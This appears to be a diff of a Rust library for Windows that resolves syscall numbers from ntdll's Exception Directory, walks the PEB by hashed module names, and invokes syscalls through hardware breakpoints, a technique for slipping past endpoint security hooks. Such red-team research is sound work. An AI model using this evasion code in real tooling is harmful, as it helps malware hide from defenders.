&mut process_handle,
&mut thread_handle,
desired_access,
desired_access,
null_mut(),
null_mut(),
0,
0,
process_parameters,
&mut create_info,
attribute_list
);
assert_eq!(
status, 0,
"Failed to create process with NT STATUS: {:#X}",
status
);
libc_println!("[*] Process created successfully.");
assert!(
!process_handle.is_null(),
"Process handle should not be null"
);
assert!(!thread_handle.is_null(), "Thread handle should not be null");
// Clean up resources
unsafe {
CloseHandle(process_handle);
CloseHandle(thread_handle);
}
// Destroy hooks
destroy_hooks();
libc_println!("[*] Program Ended");
}
pub type OrgNtCreateUserProcess = unsafe extern "system" fn(
ProcessHandle: *mut HANDLE,
ThreadHandle: *mut HANDLE,
ProcessDesiredAccess: u32,
ThreadDesiredAccess: u32,
ProcessObjectAttributes: *mut OBJECT_ATTRIBUTES,
ThreadObjectAttributes: *mut OBJECT_ATTRIBUTES,
ProcessFlags: u32,
ThreadFlags: u32,
ProcessParameters: *mut RTL_USER_PROCESS_PARAMETERS,
CreateInfo: *mut PS_CREATE_INFO,
AttributeList: *mut PS_ATTRIBUTE_LIST,
) -> i32;
}
#[macro_export]
macro_rules! debug_println {
// This pattern matches any input for the macro
($($arg:tt)*) => {
// If the "debug" feature is enabled, it uses libc_println to print the arguments
#[cfg(feature = "debug")]
{
libc_println!($($arg)*);
}
// If the "debug" feature is not enabled, the macro does nothing
#[cfg(not(feature = "debug"))]
{
// No operation if "debug" is not enabled
}
};
}
+197
View File
@@ -0,0 +1,197 @@
#[cfg(feature = "debug")]
use libc_print::libc_println;
use crate::{
debug_println,
def::{
ImageDosHeader, ImageExportDirectory, ImageNtHeaders, ListEntry, LoaderDataTableEntry,
PebLoaderData, IMAGE_DIRECTORY_ENTRY_EXCEPTION,
},
utils::{dbj2_hash, find_peb, get_cstr_len},
};
use core::ffi::c_ulong;
/// The `syscall!` macro is designed to resolve and invoke system calls.
/// It simplifies the process of finding the system call's address and service number, setting up
/// a hardware breakpoint, and invoking the system call with the specified parameters.
///
/// ### Macro Inputs
/// 1. **`$syscall_name`**: The name of the system call to resolve (typically provided as a string).
/// 2. **`$fn_sig`**: The function signature/type of the system call. This allows the resolved address
/// to be cast to the appropriate function pointer type so it can be invoked directly.
/// 3. **`$($param:expr),*`**: A variadic list of parameters to be passed to the resolved system call
/// function. These parameters are passed as expressions.
#[macro_export]
macro_rules! syscall {
($syscall_name:expr, $fn_sig:ty, $($param:expr),*) => {
{
let mut syscall_addr: *mut u8 = core::ptr::null_mut();
// Resolve the system call's address and System Service Number (SSN).
let ssn = unsafe { crate::get_ssn_by_name($syscall_name, None, &mut syscall_addr) };
// Exit if the SSN is invalid or address is `null`.
if ssn < 0 || syscall_addr.is_null() {
debug_println!("[!] Unable to resolve syscall or address for: {}", $syscall_name);
return;
}
// Log the resolved address of the system call, if debug feature is enabled.
debug_println!("\n\n[*] Calling function: {} (0x{:x})\n", $syscall_name, syscall_addr as usize);
// Convert the resolved address to a function pointer of the specified type (`$fn_sig`).
let pt_syscall: $fn_sig = unsafe { core::mem::transmute(syscall_addr) };
// Set a hardware breakpoint on the system call.
crate::set_hw_bp(syscall_addr as usize, 1, ssn as u32);
// Invoke the system call with the provided parameters (`$param`).
unsafe { pt_syscall($($param),*) }
}
};
}
/// Retrieves the System Service Number (SSN) and the address for a specified syscall.
///
/// This function scans the loaded modules in memory to locate `ntdll.dll`, then utilizes the Exception Directory and
/// Export Address Table to identify the specified syscall. It matches the syscall either by name or an optional hash
/// and returns the SSN if a match is found, along with setting the functions address in the provided `addr` parameter.
///
/// For more details on this approach, see MDsec's article on using the Exception Directory to resolve System Service Numbers:
/// https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/
///
/// # Arguments
/// * `syscall` - The name of the syscall to locate.
/// * `hash` - An optional hash of the syscall name. If provided, the function uses this hash for matching rather than the name.
/// * `addr` - A mutable pointer that will be set to the address of the resolved syscall if a match is found.
///
/// # Returns
/// Returns the SSN (System Service Number) of the matched syscall or -1 if no match is found. If a match is found,
/// `addr` will contain the function's address in `ntdll.dll`.
pub unsafe fn get_ssn_by_name(syscall: &str, hash: Option<usize>, addr: &mut *mut u8) -> i32 {
let peb = find_peb(); // Get the Process Environment Block (PEB)
let ldr = (*peb).loader_data as *mut PebLoaderData;
// Traverse the list of loaded modules in memory.
let mut next = (*ldr).in_memory_order_module_list.flink;
let head = &mut (*ldr).in_memory_order_module_list;
while next != head {
let ent = (next as *mut u8).offset(-(core::mem::size_of::<ListEntry>() as isize))
as *mut LoaderDataTableEntry;
next = (*ent).in_memory_order_links.flink;
let dll_base = (*ent).dll_base as *const u8;
let dos_header = dll_base as *const ImageDosHeader;
let nt_headers = dll_base.offset((*dos_header).e_lfanew as isize) as *const ImageNtHeaders;
let export_directory_rva = (*nt_headers).optional_header.data_directory[0].virtual_address;
if export_directory_rva == 0 {
continue;
}
let export_directory =
dll_base.offset(export_directory_rva as isize) as *const ImageExportDirectory;
if (*export_directory).number_of_names == 0 {
continue;
}
let dll_name = dll_base.offset((*export_directory).name as isize) as *const u8;
let dll_name_len = get_cstr_len(dll_name as _);
let dll_name_str =
core::str::from_utf8_unchecked(core::slice::from_raw_parts(dll_name, dll_name_len));
// If module name is not ntdll.dll, skip.
if dbj2_hash(dll_name_str.as_bytes()) != 0x1edab0ed {
continue;
}
// Retrieve the Exception Directory.
let rva = (*nt_headers).optional_header.data_directory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]
.virtual_address;
if rva == 0 {
debug_println!("[-] RTF RVA is 0, returning -1...");
return -1;
}
let rtf = (dll_base.offset(rva as isize)) as PimageRuntimeFunctionEntry;
// Access the Export Address Table.
let address_of_functions = dll_base
.offset((*export_directory).address_of_functions as isize)
as *const core::ffi::c_ulong;
let address_of_names = dll_base.offset((*export_directory).address_of_names as isize)
as *const core::ffi::c_ulong;
let address_of_name_ordinals = dll_base
.offset((*export_directory).address_of_name_ordinals as isize)
as *const core::ffi::c_ushort;
let mut ssn = 0; // Initialize the system call number (SSN).
// Traverse the runtime function table.
for i in 0.. {
let begin_address = (*rtf.offset(i as isize)).begin_address;
if begin_address == 0 {
break;
}
// Search the export address table.
for j in 0..(*export_directory).number_of_functions {
let ordinal = *address_of_name_ordinals.offset(j as isize);
let function_address = *address_of_functions.offset(ordinal as isize);
// Check if the function's address matches the runtime function's address.
if function_address == begin_address {
let api_name_addr =
dll_base.offset(*address_of_names.offset(j as isize) as isize) as *const u8;
let api_name_len = get_cstr_len(api_name_addr as _);
let api_name_str = core::str::from_utf8_unchecked(core::slice::from_raw_parts(
api_name_addr,
api_name_len,
));
// Match either by hash or by name.
match hash {
Some(h) => {
if h == dbj2_hash(api_name_str.as_bytes()) as usize {
*addr = dll_base.offset(function_address as isize) as *mut u8;
return ssn;
}
}
None => {
if api_name_str == syscall {
*addr = dll_base.offset(function_address as isize) as *mut u8;
return ssn;
}
}
}
// Increment SSN if the function starts with "Zw" (system call).
if api_name_str.starts_with("Zw") {
ssn += 1;
}
}
}
}
}
debug_println!("[-] No syscall found, returning -1.");
-1 // Return -1 if no syscall is found.
}
#[repr(C)]
pub struct ImageRuntimeFunctionEntry {
pub begin_address: c_ulong,
pub end_address: c_ulong,
pub u: IMAGE_RUNTIME_FUNCTION_ENTRY_u,
}
#[repr(C)]
pub union IMAGE_RUNTIME_FUNCTION_ENTRY_u {
pub unwind_info_address: c_ulong,
pub unwind_data: c_ulong,
}
/// Type alias for pointer to `_IMAGE_RUNTIME_FUNCTION_ENTRY`
pub type PimageRuntimeFunctionEntry = *mut ImageRuntimeFunctionEntry;
+132
View File
@@ -0,0 +1,132 @@
use core::arch::asm;
use core::ptr::null_mut;
use crate::def::{
ImageDosHeader, ImageNtHeaders, LoaderDataTableEntry, PebLoaderData, IMAGE_DOS_SIGNATURE,
IMAGE_NT_SIGNATURE, PEB,
};
/// Retrieves the NT headers from the base address of a module.
///
/// # Arguments
/// * `base_addr` - The base address of the module.
///
/// Returns a pointer to `ImageNtHeaders` or null if the headers are invalid.
#[cfg(target_arch = "x86_64")]
pub unsafe fn get_nt_headers(base_addr: *mut u8) -> *mut ImageNtHeaders {
let dos_header = base_addr as *mut ImageDosHeader;
// Check if the DOS signature is valid (MZ)
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
return null_mut();
}
// Calculate the address of NT headers
let nt_headers = (base_addr as isize + (*dos_header).e_lfanew as isize) as *mut ImageNtHeaders;
// Check if the NT signature is valid (PE\0\0)
if (*nt_headers).signature != IMAGE_NT_SIGNATURE as _ {
return null_mut();
}
nt_headers
}
/// Finds and returns the base address and size of a module by its hash.
///
/// # Arguments
/// * `module_hash` - The hash of the module name to locate.
///
/// Returns a tuple with the base address and the size of the module or (null, 0) if not found.
pub unsafe fn ldr_module_info(module_hash: u32) -> (*mut u8, usize) {
let peb = find_peb(); // Retrieve the PEB
if peb.is_null() {
return (null_mut(), 0);
}
let peb_ldr_data_ptr = (*peb).loader_data as *mut PebLoaderData;
if peb_ldr_data_ptr.is_null() {
return (null_mut(), 0);
}
// Start with the first module in the InLoadOrderModuleList
let mut module_list =
(*peb_ldr_data_ptr).in_load_order_module_list.flink as *mut LoaderDataTableEntry;
// Iterate through the list of loaded modules
while !(*module_list).dll_base.is_null() {
let dll_buffer_ptr = (*module_list).base_dll_name.buffer;
let dll_length = (*module_list).base_dll_name.length as usize;
// Create a slice from the DLL name
let dll_name_slice = core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length);
// Compare the hash of the DLL name with the provided hash
if module_hash == dbj2_hash(dll_name_slice) {
let dll_base = (*module_list).dll_base as *const ImageDosHeader;
let nt_headers = (dll_base as *const u8).offset((*dll_base).e_lfanew as isize)
as *const ImageNtHeaders;
// Obtain the size of the module from the OptionalHeader's SizeOfImage
let size_of_image = (*nt_headers).optional_header.size_of_image as usize;
return ((*module_list).dll_base as _, size_of_image); // Return the base address and size of the module
}
// Move to the next module in the list
module_list = (*module_list).in_load_order_links.flink as *mut LoaderDataTableEntry;
}
(null_mut(), 0)
}
/// Computes the DJB2 hash for the given buffer
pub fn dbj2_hash(buffer: &[u8]) -> u32 {
let mut hsh: u32 = 5381;
let mut iter: usize = 0;
let mut cur: u8;
while iter < buffer.len() {
cur = buffer[iter];
if cur == 0 {
iter += 1;
continue;
}
if cur >= ('a' as u8) {
cur -= 0x20;
}
hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32;
iter += 1;
}
hsh
}
/// Calculates the length of a C-style null-terminated string.
pub fn get_cstr_len(pointer: *const char) -> usize {
let mut tmp: u64 = pointer as u64;
unsafe {
while *(tmp as *const u8) != 0 {
tmp += 1;
}
}
(tmp - pointer as u64) as _
}
/// Finds and returns the Process Environment Block (PEB)
#[cfg(target_arch = "x86_64")]
pub fn find_peb() -> *mut PEB {
let peb_ptr: *mut PEB;
unsafe {
asm!(
"mov {}, gs:[0x60]",
out(reg) peb_ptr
);
}
peb_ptr
}